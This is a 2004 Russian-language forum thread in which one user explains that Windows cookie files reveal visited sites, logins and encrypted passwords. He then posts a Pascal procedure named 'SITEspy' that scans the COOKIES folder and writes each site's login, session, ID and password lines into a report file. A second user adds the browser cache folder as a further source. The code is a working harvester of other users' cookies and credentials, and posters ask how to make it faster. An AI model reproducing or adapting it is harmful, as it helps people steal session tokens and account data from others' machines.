Автор: Altair 30.01.2004 11:42
очень хороший способ узнать это:
в папке C:WINDOWSCOOKIES
находяться текстовые файлы.
при просмотре каждого в 3 строчке сверху адрес сайта
на котором он был
файлов много - информации тоже! ;)
там даже есть логины и зашифрованные пароль форумов, чатов и т.д
Автор: DI 30.01.2004 17:35
а если страницы сохраняются на диск, то в содержимом папки
C:Documents and SettingsАдминистраторLocal SettingsTemporary Internet Files
Автор: Altair 5.02.2004 11:01
Код
procedure SITEspy;
const
dir='C:WINDOWSCOOKIES';
maska='*.TXT';
var
i,i2 : word;
t : searchrec;
p : boolean;
f,fs,ft : text;
str,namef,temp : string;
s : char;
begin
namef:='C:МОИДОК~1SITE.TXT'; { путь к файлу отчета }
ASSIGN(fs,namef);
assign(ft,'temp.tct');
rewrite(fs);
CHDIR(dir);
FindFirst(maska,AnyFile,t);
p:=true;
temp:='';
while p do
begin
FindNext(t);
If temp<>t.name then
begin
temp:='';
temp:=t.name
end else
begin
temp:='';
p:=false
end;
{----}
ASSIGN(f,t.name);
reset(f);
rewrite(ft);
while not eof(f) do
begin
read(f,s);
If ord(s)=10 then s:=chr(13);
write(ft,s);
end;
close(ft);
reset(ft);
{===}
readln(ft,str); str:='';
readln(ft,str); str:='';
readln(ft,str);
writeln(fs,str);
while not EOF(ft) do
begin
str:='';
readln(ft,str);
If (pos('login',str)<>0) or (pos('Login',str)<>0) or (pos('name',str)<>0) or
(pos('Name',str)<>0) or (pos('id',str)<>0) or (pos('session',str)<>0) or
(pos('ID',str)<>0) or (pos('Id',str)<>0) then
begin
str:='';
readln(ft,str);
writeln(fs,' LOGIN ');
writeln(fs,str);
end;
If pos('password',str)<>0 then
begin
str:='';
readln(ft,str);
writeln(fs,' ENCRIPT PASSWORD ');
writeln(fs,str)
end;
str:='';
end;
{===}
close(ft);
close(f);
str:='';
erase(ft);
{----}
end;
close(fs);
end; {SITEspy v01}
эта процедура делает то, о чем я писал в 1 сообщ. на эту тему!
А такая большая она потому, то там есть 1 проблемма!
Ну если разберетесь то поймете какая
Главное я ее решил! 8)
Да еще!
Процедура работает довольно медленно (7 секунд обрабатывала 130 файлов)
Если кто -то знает как ее модернизировать для более быстрой работы, пожалуйста напишите!